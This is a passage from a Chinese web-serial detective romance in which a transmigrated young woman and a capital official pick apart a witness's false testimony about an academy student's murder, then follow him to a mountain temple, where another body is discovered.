可为什么?故意将细节对外宣扬,是为什么?刺激受害者家属?彰显自己的超强能量?挑衅官府? 还是说——我想到了一种可能性。 二公子是宗室,又是府丞的亲弟弟。如上头有意包庇,此案不会落在他的身上。但死者身份地位也很崇高,那案件就也不会无果而终,府衙一定查个底朝天。 为了自保,凶手将骇人的死法连同二公子嫉妒同窗学问杀人的消息传播出去,引起民愤,引发孟府激烈的敌意,就可借舆论之势逼迫谢宁轩快速审结案件。 要么给二公子定罪,要么随便抓来一人草草栽赃,而凶手,自可从容逃脱法网。 好险恶的用心! 心中盘算着,我没有留意到,穿着小衣,我就推门走了出去。 门外的垂云刚刚端了水盆来,映入眼帘直接吓懵。 “小姐!天哪,你怎么穿这就出来……哎呦!” 我抬头一瞧,垂云滑倒了! “垂云,你没事吧?”我赶忙冲上前扶她。 可垂云手脚都在用力,拼命把我往回推:“快点,快点!进屋,进屋!哪有穿着小衣出来的!” 大夏天的,我这也是长袖长裤啊。 可垂云垂柳不答应,垂柳闻声从后院跑来,更是倒吸一口凉气,扯着我的胳膊,生生把我拽回到屋里,硬是逼我套上外衫,才肯开门。 “垂云,你没事吧?摔伤了吗?” 垂云摆摆手:“没事,没事,就是门口低洼地的青石板上有层水腻子,我刚走过去没注意。” 垂柳则低声埋怨着:“小姐啊,你注意些吧!哪敢穿着小衣就出门!得在屏风里换好呀!” “就是,小姐。”垂云抽回了手,“咱这院门白日常常不落闩,莫说二公子时常推门就入,就是老爷和钟叔,你也得避开的呀。” 行行行,注意注意,他们这不是不在家么。再说了,我想事情太入神,又忘了这是狗屁古代了呗。 我赔个笑容,凑近去看垂云的手。不知怎得,脑中忽然有一道亮光,一闪而过。 我愣住了,使劲的回想着。门口却传来脚步声,伴随着浮生的问句:“王小姐,王小姐起了吗?” 垂柳斜我一眼,似乎在说“你看,我说什么来着”。 然此间,我哪还有心思考虑端庄与否啊。紧张吞噬着,我奔到院门口就问:“怎么了怎么了,又出什么事了?” 浮生摇头:“没、没旁的事了。就是卑职想着,大人入宫迟迟未归……” “什么,”我顿时惊了,“孟家还是告到宫里去了?” “哦哦没有,没有!昨晚孟老的确咄咄逼人来着,但查案需要时间,他也是知道的。大人入宫,是早朝加汇报案情,估计回来的晚。” 我松了口气,这才侧身请他进门,一面问道:“那你这么早来,是有什么事吗?” “是大人昨晚交代,他若是迟迟未归,我们也得尽早去书院勘察。卑职想着,卑职想着……”浮生觑我一眼,讪讪道,“卑职是暗自忖度,小姐可能不生我家大人气了,愿协助大人,一起查案。所以特来问问……” 心里一咯噔,百转千回。 最后,我也没说什么,只略颔首:“走吧,去白马书院。” 昨晚离开案发现场的时候,老爹破天荒没有责怪我瞎凑热闹,又往女儿家不该出现的地方瞎跑。他自己也一夜未归,应该是去府衙进行深入的验尸了。 我知道,这个案子不同于往常,哪怕只因齐王府对我的照顾,我也不能推辞,必须尽一份力。二公子这身娇体弱的贵公子在牢里呆着,也着实令人揪心。 何况,我 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原来有皇子撑腰。怪不得孟秋堂敢对二公子出言不逊,乃至大打出手了。那帮腔作势的国字脸呢?也出身煊赫? “小姐说昨晚的目击者张公子吗?他名讳海邦,其父是晋升不久的工部右侍郎,虽也是朝中重臣,但比起孟家,就不值一提了。若说显赫,常与他二人在一起的方公子,才与孟家地位匹配。” “哦?方向杰?我隐约记得我爹提过一嘴,说方父是户部尚书?” 浮生点头:“没错,二品大员呢!不仅如此,方母是魏王妃的亲姐姐,母亲都是青宁郡主。 ” 好家伙,又是皇亲国戚,确实身份高贵呐。 那么,相较而言平凡许多的张海邦,是怎么攀上两支高枝的? 见浮生回答不上来,我只好换个问题:“昨晚是你陪着你们大人去的孟家吗?” “是啊。” “报丧的时候,你们可有提及死者身中十九刀?” 浮生咂舌:“哪轮到我们说啊!当然,我们一般也不会给死者家属说这么细啦。” 我抓住他奇怪的用词:“什么叫‘轮到你们’?怎么,有人比你们先去报丧?” “就是那张海邦啊!昨晚解封后,他就直奔孟府去了。等我们到的时候,孟家已经哭成一团了。孟老上来就揪着大人不放,哪还有我们说话的时间呦。” 拳头不由握了起来,我咬牙问:“那这么说,十九刀是他给孟家提的了?” 浮生愣住了。“他怎么知道十九刀的?” 三秒后,浮生跳脚:“对啊!张海邦不可能知道!” 浮生与我都很清楚昨晚的情形,夜色朦胧,烛光昏暗,在白天都不一定能从斑驳血迹中分辨出的伤口,在黑夜里更不可能。 老爹验尸并未发现尸体有翻动迹象,衙差更不会对张海邦提及细节。一解封他就去了孟府,那时候坊间也还没开始传播消息。那么,他怎么知道的? 浮生眼珠子瞪得浑圆,连连后退两步:“我这就去抓他!” “别!”我赶忙伸手阻止,“现在去根本没有证据!” “这、这还不算?” “当然不算。这全是咱们的推测,张海邦完全可以说是你们衙差谈论被他听见了。何况,坊间如此迅速的消息传播也不能证明就是他做的。” 如同被霜打了的茄子一般,浮生丧气:“那怎么办?” 我琢磨着,慢慢说道:“这样,你先安排人四处探访。每一个振振有词说这消息的人,都质问他,是从何处听来的,一直追溯上去,直到找到消息的源头。” “源头?”浮生眼睛一转,“对,没错,抓到传消息的人,八成就抓到了真凶!” 真凶,会是贼喊捉贼的张海邦吗? 说曹操曹操到。浮生忽然拽了我一把,拉着我藏进一家小巷子里,探出脑袋:“小姐快看,那就是张海邦啊!” 81.血衣之谜 几个店铺开外,张海邦正和一个男子交谈。那人穿着白色衣衫,背影熟悉,从我站位能看到的侧脸,青紫红肿。微一思索,我想到了打架那晚的见闻。 哦,这是张海邦和方向杰呀。说什么呢,讨论好友之死吗? “浮生,方向杰知道消息后,有什么反应吗?” 浮生愣住,搔搔头:“啊这,卑职还不晓得。昨天前院人太多了,卑职也只负责查问了一半,没碰到方公子。” 我点点头,又和浮生探头去瞧。 那二人已经在拱手告辞了,张海邦扭身就走,一张国字脸阴云密布。 *** 赶到白马书院的时候,韩桂带着衙差,正在挨门挨户的搜查。大部分学生都放走了,仅有平日就宿在书院的老师学生被看管在各自房中。 “浮生,这白马书院有个后门,昨天案发的时候有人把守吗?凶手可能从那里逃走吗?” “不会的,卑职已经查问。因为昨天学生早早就来了,下午后门便关了,一旁耳房还有人把守,虽然案发后也去看了热闹,但很笃定,后门自始至终未曾开启。” 我和浮生边走边讨论,刚走到第四进院子,忽听见西侧一屋发出很大的动静。 一旁站岗的衙差见浮生过来,立即打千儿行礼:“头儿!你来了!” 浮生上前问了问情况,不过应该没什么,他很快就过来带我继续朝前走了。 拐进最后的院子,只见西边一排厢房左侧站了一个衙差,与我们打了声招呼,右边站着的衙差听到动静,从榕树后探出脑袋。 这时候,我莫名觉得这幅画面有些怪异,然念头也只是一闪而过,找不到出处。气馁中,我唯有踱步到两摊血迹旁,蹲下身细细查看。 第一滩血迹呈喷射状,上面有被压过和踩过的痕迹,说明这里是被割喉之处。至第二滩血迹,蜿蜒爬行的痕迹很明显,能看出死者当时求生的欲望。 就在盯着纷乱的足迹时,我倏地想通了今早的困惑,看到垂云摔倒时的困惑。 按照二公子的说辞,他走过来就滑倒了。可最近没有下雨,这里又没有泥,砖路参差却也平整,二公子好端端的,怎么就滑倒了呢? 从现场遗留的血迹上看,也并没有出现滑行的痕迹,说明他也不是踩到血迹滑倒的。 除非……这儿应该有一样东西。 我立马蹲下身,在第一滩血迹附近各种查找,却一无所获。 在我查看时,浮生也率着两个衙差翻翻草地,翻翻树根,没有眉目的四处张望着。直到他蹲到血迹另一侧,从阶梯死角捡起一块石子,随便瞅了瞅,就要扔掉。 石子背面一抹绿色,不期进入了我的余光。我霎时心中一动,忙出声阻止:“别扔!给我,给我!” 这是一块被青苔覆盖的圆滚滚的石子,上面的青苔有被划过的痕迹。 果然印证了我的想法。 我心里一喜,立刻请浮生带人在这里细细查找,寻找其他裹着青苔的石子。 少顷,一个衙差有了发现。西厢最南边的草地中间放着一口盛水的大瓮,瓮下面散落着好些石子。那翁底有细小的裂痕,细微的水流顺着翁边流向草丛,一圈石子就被水泡着,久而久之,个个盖着厚厚一层腻滑的青苔。 我将手中那枚明显被蹭掉一半青苔的石子和地上石子一对比,就确认它曾经是这里的一员。 应该是有人在打水的时候,不甚将它踢出草丛,它便滚到了第一滩血迹的附近。这青苔生的极为牢固,在没有外力的使劲按压下,青苔是不会轻易脱落的。 那么,这个石子应该就是令二公子滑倒的罪魁祸首了。 垂云踩到低洼地青石板上的水腻子滑倒,二公子踩到裹着青苔的圆滚石子上滑倒,不都是一个原理吗? 据昨晚二公子的口供,他进院落后看到地上有光,这一点没问题,血迹在月色下反光。他随即走来查看,不幸踩到青苔石子滑倒,趴在地上时意外碰到刀子。条件反射、失了思考,他顺手捡了起来,继而就看到了死者的脚,随后发现死者。 嗯,逻辑能闭环,也就是说,二公子没有说谎。 但证据还太浅薄。 我转了转眼珠,向浮生问:“二公子关进牢房,他身上所穿,可还是昨晚的衣服鞋子?” 浮生摇头:“关进大牢前按照惯例会换上囚服,二公子自己的衣服鞋子则在府衙内保存。” “那劳你马上差人去把他昨晚穿的鞋子取来。” 如果二公子真的踩到这颗石子滑倒,他的鞋底必然留有和它相同的青苔痕迹。只是不知道证据是不是已经破坏。当然,光凭证明他滑倒,似乎也不能洗脱他的嫌疑。 算了,既然暂时无法找到直接证据,也只好尽力组出完整的间接证据链了。 可接下来的寻找令人失望,此处地面被我们一寸一寸检查了,并没有其他发现。 众人不免气馁,浮生便招呼大家去前面休息。衙差稀稀拉拉的朝外走,浮生瞅了瞅人数:“韩桂呢?韩桂!” 浮生一喊叫,韩桂从血迹附近的榕树后面露出头来,应了一声。 我心头一颤,那种怪异的感觉又回来了。 “韩桂,韩桂,你先别动!” 韩桂脚抬了一半,呆呆看着我。 “你刚站在哪里?” “就、就这里啊。” 脑海思路渐渐清晰,我组织着语言:“浮生,他现在站的位置是不是目击者张海邦说看到二公子的位置?” 浮生眼睛向上看,回忆道:“对、对啊。昨晚口供是这么说的。站在尸体旁,满身是血,拿着刀。” “那昨晚张海邦在哪里看到二公子的?” “啊?”浮生怔怔的看着我,苦苦思索,“在这!对,就在小姐您现在站的位置!对对,录口供的时候,他说自己刚进院子,就看见二公子了。” “不对,不对。”脑中亮堂起来,我指着韩桂道,“看见那个脚印没,麻烦你踩在上面。对对对,就是那里,背朝着我们,站好了。” 我又吆喝了浮生一起,模拟着从院外游廊拐进月拱门,四只眼睛都盯着凶案现场。 院落中心的大榕树将我们的视线挡的严严实实,直到拐过大榕树,我们才看到韩桂的背影。 而这个位置,和昨晚人证所说的位置,差了十步之遥。 浮生也缓过劲来,怀疑的问:“会、会不会是记错了位置?” “你是不是先给人证录了一遍口供?后来谢宁……谢府丞带着我和我爹不是又听了一遍吗?你当时在场,两遍口供是否一致?” “是一致啊,张海邦两回都说自己刚……对呀,他还强调过一次,说跨过月拱门就看到了二公子。这不可能!榕树挡住,他根本不可能看见!白天都看不见的角度,晚上更不可能!”浮生激动不已,猛一拍手,“他在说谎!” 没错,此处正是视线盲点。 那么,在未看到二公子的情况下,张海邦不可能知道发生了什么。他说他当时正在找孟秋堂,就应该边走边高呼,至少不会刻意放轻脚步声。二公子听到动静,就应该转过身来。 可是张海邦口供却是相反的。他是看清二公子持刀有血后,才大叫,二公子这时才转身。这根本不合理。 念及此处,昨晚没有意识到的另一蹊跷之处也在脑海中蹦现,我脱口即出:“还有,张海邦口供说一进来就见二公子浑身是血。可昨晚你我都见到,二公子胸前血迹布满不假,背后可没有血啊。他一进来,怎么可能看到血迹?张海邦口供明显矛盾。” 我一字一句的说着,周边衙差连连点头。直到最后,韩桂嚷嚷道:“他分明就是在撒谎!卑职这去抓他!” 我摇了摇头。的确,从这些角度分析,张海邦此人定有问题。但据此想要锁定他的嫌疑,还远远不够。 “请来,别用‘抓’。”我叮嘱韩桂,“他毕竟也是官宦弟子,得罪不起。恭敬一些,或也能令他放松警惕,再发现一些马脚。” 韩桂郑重其事的点头,又憨厚一笑:“王小姐真厉害!可惜我朝没有女捕快,否则你肯定是佼佼者!” 夸赞我收下了,但离破案还早着呢,现在可不是自得的时候。 等韩桂走后,我又将目光对准了东边的屋子:“这些房间,都翻查了吗?” “西边都查了,原来是老师的厢房,书院翻修后大多搬到前面,唯有两个老师还在此居住。但东边这一排……昨晚院长请大人留下说话,耽搁了去孟府的时间,就是因藏书阁内书籍珍贵古旧,平时也只允许老师翻阅,这半年来都没人进入过了。院长希望我们别搜查破坏。” () { $(''.inform'').remove(); $(''#content'').append('' “你们大人答应了?” “答应了呀。” 我噎了一下,还是不甘心:“那,浮生,你去守着门,前后都派人守着,别让师生进来。院长说别搜查破坏,又没说不能进去瞧瞧。走走,推门看看!” “啊?这……可大人要是……” “没事,咱们悄悄地,别被发现不就行了。” 浮生搔搔头,忽又嘿嘿一笑:“也对,是没事,有王小姐安排,大人不会说什么的。” 旁边几个衙差都傻笑起来。 心口涌上酸楚与不安,我唯有强压下。 这就使得我推开门前还不忘深呼吸调整心态,结果呛了一鼻子灰。 原来院长所言半年无人出入并非夸大,在阳光穿透下,屋中空气里、地面上、摆设上都罩着薄薄一层灰,颗粒都能看到。 屋子中间排排书架上陈列着很多书籍,有的摆放齐整,有的被抽出后随意搁在架子上。但上面也都浮着灰,能看出很久没有人翻动了。 一连走了几间屋子,都是一模一样的场景,让人垂头丧气。然而,当我推开第六间屋门时,情况明显有了变化——地面上凌乱踩踏的痕迹,相互重叠,相互摩擦。 这是有人进入并在屋子里走来走去的痕迹啊! 我和浮生对视一眼,都感觉眼前一亮。可查找之下,书架上、摆设中,灰尘依旧,还是没什么异常。 难道只是有人进来?与案件无关? 恰在灰心时,浮生不慎撞掉了书架边边搁着的一本书,灰尘一下子扬了起来。他被呛得连声咳嗽,慌忙捡起书搁回架子,却在下一秒惊呼出声:“血!有血迹!” 我吓一跳,忙探头一瞧,是本《左氏春秋》。书名埋在薄薄一层灰中,但封皮明显有几个手指印,和浮生捡起它时小心翼翼的两个手指印对比鲜明。 翻过来,暗蓝色的书皮上竟还有个墨红色的血指印。 浮生伸手比划了一下,那指印偏大,似乎是一个男人的大拇指,结合其他指印,应该是右手。 令人瞩目的是,血指印上有一条淡淡的线条,竖着贯穿指印。是这个人的手指头有个线条状的胎记?或者是曾经受伤,而形成的伤疤? 观屋子与书本痕迹,这血迹应当是新的。半年无人进入的屋中怎么会有血指印?莫非真与昨晚的案子有关? 其实,案件查到现在,有一点一直说不通。 昨晚书院后门有人值守,前院全是师生,真凶捅了孟秋堂十九刀,身上肯定布满血迹。可除了二公子,在任何人身上都没有发现。 难道说,昨夜有人在这里换下了血衣? 譬如,所谓的目击者,张海邦? 他杀人后到这间屋子更衣,慌乱间不慎碰下书本,用染着血的手捡起来搁回去,故而留下痕迹。更衣之后,他正巧看到二公子捡起刀子的背影,于是生出嫁祸一计。因事先无准备,他并没有意识到他口供中的位置纰漏。 果然是贼喊捉贼! 等一下,等一下,我虽然想的兴奋,但很快就发现了bug—— 我们并没有找到血衣。 假如张海邦杀人后从容更衣离开,还能将血衣销毁,那就不应该有嫁祸之事。毕竟杀完人留在现场实在不是明智之举。 会不会是他离开后看到二公子进了这院子,心虚的跟进来?不,那样他就不会忽略视线死角的问题了。 也即,如果他是真凶,行凶和二公子进院子,应该就是前后脚的关系。他根本没有时间销毁血衣。他目睹二公子摔倒、捡刀子,也一定是身在院中才能看到的。 可是,血衣哪去了? 我越想越头疼,竟还发现另一处矛盾点——张海邦的手上也根本没有血迹! 按照紧随他之后进来的目击者所言,张海邦大叫后,他们几人刚好就在第四进院子,立马就冲来了。而二公子口供中,也没有提及张海邦有时间洗手。 我无精打采的出了屋子,坐在廊下发呆。 想错了,想错了。 难道张海邦不是凶手?那他为什么口供有假?又是怎知十九刀的事?这本书上的血迹和昨晚的谋杀案有关吗?凶手在哪里换下了血衣?为什么四下都没有找到? 在无数个问题中,我渐渐意识到,血衣消失之谜,恐怕才是这个案件的关键。 82.锦业寺 好在,今天的查访并不是一无所获,至少,牢房传来了好消息。 二公子昨晚穿的蜀锦勾边的黑色靴子,位于鞋帮子边,果然找到了一点浅浅的绿色。经与青苔对比,可以确定来自小石子。 证明了二公子没有说谎,还是很能鼓舞人心的。 然,高兴不过几分钟,韩桂带来了坏消息——张海邦不在府上,去了锦业寺。 “锦业寺位于京郊东南,在盘云山腰上。那里的签文特别准,香火很旺,大多求签者都是达官贵人,几乎都会在锦业寺后山住上一晚再回来。张府小厮说,张海邦也去拜佛求签了,还是独自去的,连个下人都没带。” 我们来之前,不还遇见了张海邦吗,那时候他就准备出发去锦业寺了?同窗好友被杀,他倒跑去拜佛求签? “王小姐,我们要去追吗?” “追什么?”谢宁轩的声音传来。 目光所及,我登时心中一揪。 依旧是穿着官服昂首走来,今天的他,却脸色晦暗,嘴唇干裂,似乎一夜没睡。只有那扑闪扑闪着的睫毛,象征着他不肯言败的心。 听到浮生汇报,谢宁轩朝我看过来,微微梨涡若隐若现:“羽书也意识到了?我在宫中汇报京城盘查进展时就在想,张海邦口供似乎不太对劲。既如此,有必要去一趟锦业寺。韩桂,你带队再次盘问白马书院全体师生,本次重点在于孟秋堂、张海邦、方向杰三个人之间可有仇怨,他们这个小团体是否得罪过什么人。浮生,差人去问陈先生借一身衣服容我更衣,随后你带一队人也换成常服赶去锦业寺。” “为什么要换常服?”浮生不解。 “目前对张海邦只是怀疑,他父亲职位不低,锦业寺又香客众多,不宜高调行事。我和羽书先行去探查,你带队装作香客潜伏在寺院门口,同时再让一队穿着官服的衙差在山下等差遣。” 谢宁轩的安排确实比较谨慎,但我还是不理解,为什么突然查起方向杰来? 谢宁轩还没回答,衙差引着一人走了过来,竟是陈尧昇。身量纤细,血气不足的样子,书生气儿十足。 “陈先生,怎么了?” 陈尧昇先朝我望来,眉头一蹙,有些迟疑:“这女子是……” “她是我府衙王副官之女,协助查案的。” 陈尧昇眼光骤然一变,似是难以置信,又上下打量我一番。 这不太礼貌啊。我略有些不适,他就已说出:“宁轩,这怎么可以?莫说你府衙探查命案,就不该泄露给无关之人。这,居然还是个女子?” 嘿,我这一听,火登时就冒了出来。死学究,亏我还夸他风度翩翩。 谢宁轩也没理会,只道:“查案之事就不劳陈先生操心了。找我,有什么事吗?” “宁轩,难道你忘了四年前……” “尧昇!”谢宁轩倏地打断了他,声线一下变得寒冷,“注意你的身份。我的事,请莫置喙!” 我讶然听着他们的对话,思绪却跑回到一座美轮美奂的府邸中。 当日在绣花大赛的李府,谢宁轩不也在命妇提及“四年前”时,乍然变脸,毫不留情吗?这是又重演了啊。 四年前,到底发生了什么?似乎与一奏本有关,又是什么事? 我这厢诧异,陈尧昇却侧了侧头,似乎是不想再针锋相对。 随后,他嘴角微撇,放缓了语气:“我只是想说,宁辕的性子我很清楚,虽有冲动,但绝不可能伤人。昨晚泼湿我、取衣服,也实在不像预谋。我无法相信,他能有杀人之心,并刻意谋划脱罪。宁轩,这一点我相信你也明白。” “那是自然。”谢宁轩也收起了浑身的锋芒,简短答道。 “如今坊间传言沸沸扬扬,当是有心之人故意为之,你作为府丞定然重压在身。如有需要我帮忙的地方,请一定吩咐。” 咦,原来是来释放善意的? 谢宁轩微微塌了肩膀,他略颔首:“好,我替舍弟多谢你了。” 陈尧昇摆摆手,最后扫了我一眼,便引着谢宁轩更衣去了。 *** 盘云山既在京郊,一路过去自得乘坐马车。 这应该是上个月后,我与他,第一次单独共处密闭空间了。 较之往日松弛坐姿、膝盖时有的碰撞,这一次,他靠坐在角落,也尽量收着坐姿,避免碰到我。 这是在怕我不快吗? 陈尧昇借给他的,是一件藏蓝色的书生装。明明比秋水镇他掩盖身份时穿的,要华丽的多,还是勾起了我的回忆。 丰神儒雅,犹似那时。心境,却早已变化。 “羽书,谢谢你了。”谢宁轩突然开口,目光凿凿。 有只狸猫,在我的心中疯狂的奔跑着。 出口却是平静,我摇摇头:“还没帮上什么忙,不必道谢。” “谢谢你愿意陪我走这一遭。”谢宁轩又说。清清浅浅的语气,轻似羽毛。 而我的心口,却有大石层层叠叠,重如千钧。 越发稀薄的空气,却让我越发明白,爱之深的畏首畏尾。 假如这是21世纪,假如这只是一个纯粹的官二代,也许我不介意谈场畅快的恋爱。管他未来,不想以后,当下的快乐,就是最重要的。 可惜啊,这是女子没有太多选择的古代。 我赌不起。 既然想得这么明白,既然理智始终在线,又何必纠葛反复,彼此为难? 我终是垂下眼睫,忍住酸楚的鼻意,强迫自己将话题引到案件中。 “嗯,对了,你刚才让韩桂去查孟、张、方三人之间是不是有仇怨,是发现了什么吗?” 谢宁轩嘴角向下,幽幽叹了口气。 须臾后,他还是回答道:“据昨晚书院不少人的口供,孟、张、方三人关系颇好,虽然有人听到过张海邦与孟秋堂争执,但从之后仍形影不离的表现上看,应该只是口角之争。” “哦?确定不够形成杀机?” “从描述上来看,似乎只是拌了几句嘴。孟秋堂是拂袖离开,到了晚上二人就又一道进出,说说笑笑了。” 照这么说,友情深厚,张海邦没有杀人的动机?那他为何会有这么多可疑之处? 谢宁轩又说道:“还有一点奇怪之处。方向杰一直没有回府,不知道是否和案件有关。” “没有回府?”我吃惊,“昨晚没有回去?” “嗯。不仅如此,昨晚我翻了所有人的口供,发现他也压根没去书院。” “他没去书院?” “昨晚张海邦说,方向杰年考状态不佳,自知成绩不会好,几日前就已出现低落的情绪,许是因此没去。”谢宁轩讲述着,又顿了顿,蹙起眉头,似是有些费解。 “但今天上午在宫里我碰到了其父,得知他昨晚也不在府中。这就有些奇怪了。” 好友被杀,他却下落成谜? 等一下,并不是成谜啊,我今天早上不是碰见他和张海邦了吗? 谢宁轩一听就挑眉,眯了眯眼:“这么说,倒是我多虑了?” “我不明白了,难道你本来怀疑方向杰?” “那倒不是。依昨晚的情势来看,凶手应是书院中人之一。方向杰昨天没来书院,就大可排除他的嫌疑。只是他上哪去了,好友出了这么大的事,怎么没见他去孟府吊唁?我觉得有些奇怪罢了。” “事发突然,他可能都不知道。今早,张海邦或许才给他说呢。” “也可能吧。”谢宁轩说着,表情并未全然释怀。 从打架那日看,方向杰似乎并非说话不知忌讳、高傲不知礼节的纨绔子弟,至少当时隔壁不知廉耻的讨论烟花柳巷时,并没有听到他的声音。 不过,我想起前两次偶遇,他对农夫老翁、我和我爹这等平民彬彬有礼的态度,对比被姑娘不慎碰到时冷脸闪躲的举动,颇有些看不懂。 对此,谢宁轩 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 亦没想通。 算了,这与本案也没关系。我摇头甩开杂念,又问:“孟秋堂那人说话好像不太注意,是不是得罪人了?” “孟家家世显赫,书院学生……” “显赫?显赫就能不讲理了?孟老昨晚是不是为难你了?”不知为何,我竟脱口。 谢宁轩亦是怔忪,旋即弯了弯嘴角。“毕竟丧子,伤心之下难免失态。我既是京城府丞,早日堪破此案,还死者公道,也是分内之事。” 我垂下眼睫,为自己唐突的言论后悔不已。 边界线,可别再触碰边界线了! 好在谢宁轩没有抓住不放,他只继续道:“如果我没有记错的话,孟府几年前好像出过一桩丑闻,引起过不小的非议。但应该是他二哥的事儿,和他没什么关系。早些年,他也没在京城读书。他本人呢,自恃有才,时常出言不逊,对他颇有微词的人,的确不在少数,昨晚的口供中也体现了这一点。但说来说去,并未发现如此大的杀机。” “孟秋堂之前还骂过陈尧昇,他二人不对付?” 谢宁轩摇头:“不至于。陈尧昇作为老师,时有批评学子之举,引起反感,这不稀奇。加之因沈渊博一案,他的状元之位来的颇有争议,背后议论的也不止孟秋堂一个。不过陈尧昇的姑母四年前继位中宫,与圣上琴瑟和谐,孟秋堂不会蠢到当面招惹他。只是,陈尧昇昨晚的确有独处的时间段,待锦业寺一行后,是得再深入查查,看他是不是回过房间。” 对呀,颁奖在即,孟秋堂独自跑到最后一进院中干嘛?陈尧昇住在此处,本人又有未被目睹的时间线,还被孟秋堂背后蛐蛐……呵,此人也颇有嫌疑啊。 只是,我还没搞清,尊贵的状元阁下,怎么就到白马书院来教书了? “他自己申请的。” “啊?”我更糊涂了,“为什么?” 谢宁轩莞尔,眼中划过丝丝光芒:“羽书还是这么喜欢一探究竟。此事说来话长,容我日后再告诉你,可好?” 咳咳。 我立即移开视线,收回不该有的八卦之心。 “那个,嗯,那个,昨晚的口供,就没有其他可疑之处了吗?除了他,可还有人离开众人视线,存在偷偷溜进后院的可能?” “很多人。” “啊?” “白马书院昨天到场师生一共一百一十二人,命案发生前,三三两两分布在前几个院落。从口供推出,至少有二十多人都曾在案发时段有过单独的行程,但这些人身上都没有任何血迹。” 是啊,巨大的BUG——血衣消失之谜还横在头顶,我们还没解决。 一百一十二人,怎么会……诶,等等,他这么笃定,是把口供全翻阅了?当真一夜没睡啊!我说他眼下乌青怎么更重了! 可即便倦意,他却依旧板正□□。 心头感到丝丝酸楚,我知道,现在能让他真正卸下盔甲的,唯有马上破案,救出二公子。 *** 天色渐渐压下,暮色席卷了整片天地,远方的盘云山也被吞噬。当前方渐渐有了亮光,我们终于抵达了锦业寺。 较之山下引路的昏黄烛光,锦业寺内,灯火通明。每一处佛堂都跪满了香客,看穿着打扮,都很华贵。解签的摊位更是被团团围着。 果真名声在外啊。 引路的寺僧见我看呆,面上颇为自豪,小声向我介绍各个佛堂所供。走到正殿前,他“阿弥陀佛”一声,就站到在一旁。 咋不走了?停着干嘛?我懵了,余光却扫到谢宁轩正朝佛像恭敬地跪下。 干啥呢!真来求签问佛啊! 见我瞪着,谢宁轩拽了拽我的衣袖:“低调行事,莫让别人发现。” 我一瞧周边香客都在恭敬跪拜,要么就是虔诚的摇签筒。 行吧,我也只得照猫画虎。可我的签居然只是个“中签”。 再看谢宁轩,他那签上竟然是个“下”字。 83.同一个凶手 我心头一咯噔,一旁的寺僧马上说道:“施主这签不吉利,快请去解签吧。” 谢宁轩站起身,丝毫未见慌乱。 “听闻贵寺签文极准,不过这会儿实在排队人多,不如给我们安排个厢房,晚些我再来求解吧。” 这种要求并不罕见。寺僧没有犹豫,带着我们就往后山走。 谢宁轩又作不经意状,问:“我们先来了一个同伴,工部右侍郎之子张海邦,可也住下了?” 寺僧想了想:“午后是来了位张公子,就是不知是不是施主说的那位。” 穿过通幽小径,鼎沸人声渐渐消弭,后山建筑便映入了眼帘,一样是烛火通亮。此时,也有不少香客或坐在廊下闲聊,或立于厢房前出神。 “小师傅,张海邦公子是个国字脸的年轻人,是你说的那位吗?安排住在哪间了?” 寺僧茫然,旁边一个端着食盒的小厮路过,却探头来,好奇的左右看看:“咦,你们也是来找张公子的?” “也”引起了我们的注意,忙问:“是啊。怎么,你认识?还有谁来找过他?” 小厮指指一排厢房最右边那间:“午后小的看他下榻那儿了。不过日落前,他出去了,好像是往后山丛去,估计是散步。” 后山丛? 顺着小厮手指一瞧,就见一条小路通向山林,曲径弯弯,看不到去处。这方向同热闹的后山居所相反,在夜色下,葱茏的树影投射出幽暗的雾色,竟有些悚然。 “哎呀,谁不知道他那书院出了命案,人人都想打听,小的就见今天好几拨人探头探脑去敲门。你们也是找他问这的?没戏!张公子一律不理的!去散步前还一副心事重重的样子呢。” 心事重重?是因为好友身亡,还是做贼心虚? 谢宁轩追问:“那里通向何方?” “通不到哪,里面就是盘云山的林子。哦,有个小亭子,还有溪水,景色很是怡人呢。” 谢宁轩点点头没再说话,眼睛却一直盯着后山。我则趁寺僧和小厮离开,偷偷溜进厢房检查。未点灯烛,房内空空如也,连换洗衣服的包袱都没有。 这是怎么回事?张海邦临时起意来住一晚,所以没带包袱?还是他已经意识到自己的漏洞,所以跑路了? 谢宁轩见我出来摇头,便道:“羽书,我去那林中瞧瞧,你在这儿等我。” 幽深小径仿如黑洞,看一眼我心里就开始犯嘀咕。“真的要去吗?明早去行不行?” 谢宁轩微笑:“没事的,不要怕,我就是去瞧瞧。” 难道张海邦真在那里?案情紧急,也确实等不得。 我吞下口水,给自己壮胆:“那就一起去吧,走。” 小径一路没有烛火,只能借着皎洁的月光,却更显林间幽深寂静。风一吹过,发出细细簌簌的声音,我登时想起了鹦鹉学舌案中的神神鬼鬼,不禁背后发凉,不自觉往谢宁轩身侧凑凑。 “别害怕,羽书。”谢宁轩感受到了,将手臂抬起,柔声说,“你若不介意,抓住我的胳膊聊做安慰吧。” 饶是能见度极低,我依旧看到了他紧握的拳头。 他在以礼待我。 若是我肯孤勇,肯活在当下,这双大手,就不必空谈绝唱,而是可以牵着我、挽着我。用它干燥温暖的触感,抚平每一丝多余的褶皱。 可惜啊,我是这么一个胆怯的人。 好在,林间小路不长,思绪纷飞之际,已听到了潺潺之声,随着越走越深入,溪水声越来越大。弯过最后一道树林,豁然开朗。 月光洋洋洒洒在涓涓溪流上,空荡荡的溪边空地伫立着一处亭子,平添一缕诗意。 我们站在开阔处,一眺即可尽收眼底,不见任何人的踪迹。 “奇怪,他也不在这儿,难道跑路了?”我松了口气,擦擦额头的汗,就抬腿欲深入探看。 谢宁轩却一把拉住我,警惕的朝四周看看:“此处幽暗,若有歹人,恐有危险。羽书,跟紧我。” 说着,我二人一起走入亭中。此处紧邻溪水,若是白天坐在其中饮茶品酒,一览山间丛林,耳听潺潺流水,一定颇有情志。但此时,对面正是黑黝黝一片,无景可赏。 “万一进了林子,可就不好找了。” 谢宁轩也紧锁眉头:“张海邦或许已经离开锦业……” “啊啊啊啊!” 一声惊悚的尖叫声突兀的划破了寂静的夜。 我头皮发麻,不受控制的从嗓子眼也叫了出来,毫无犹豫,径直扑进了谢宁轩的怀里。 谢宁轩亦牢牢回抱住我,整个人紧紧绷着,紧张的看向林中。 忽见一人衣衫不整的跑出来,边跑边提裤子:“死人!死人了!” 谢宁轩立即喝道:“站住!” 那人没想到林外有人,又被吓得大叫一声,直接一屁股坐到地上。 “羽书,羽书,别怕。”谢宁轩低声在我耳边安抚,“你稍微松松手,我要拿牌子了。” 我战战兢兢松开手,觑着远处黑影仍吓得不轻。 